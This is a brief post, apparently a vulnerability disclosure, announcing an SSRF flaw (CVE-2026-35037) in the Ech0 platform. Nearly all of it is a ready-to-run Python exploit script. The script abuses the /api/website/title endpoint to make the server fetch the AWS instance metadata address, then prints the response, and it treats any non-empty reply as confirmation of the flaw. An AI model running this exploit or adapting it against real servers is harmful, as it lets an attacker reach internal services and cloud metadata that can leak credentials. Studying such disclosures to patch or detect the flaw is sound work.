CVE-2026-35037：Ech0平台存在SSRF漏洞

import requests def check_ssrf(target_host): """ Exploit CVE-2026-35037: Ech0 SSRF via /api/website/title """ # Vulnerable endpoint endpoint = "/api/website/title" # Target internal service (e.g., AWS Metadata) # Note: In a real test, replace with a controlled internal domain payload_url = "http://169.254.169.254/latest/meta-data/ami-id" full_url = f"http://{target_host}{endpoint}?website_url={payload_url}" try: response = requests.get(full_url, timeout=5) if response.status_code == 200: print(f"[+] Request sent to: {full_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if "ami-" in response.text or response.text != "": print("[!] Potential SSRF vulnerability confirmed!") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "example.com" # Replace with actual target check_ssrf(target)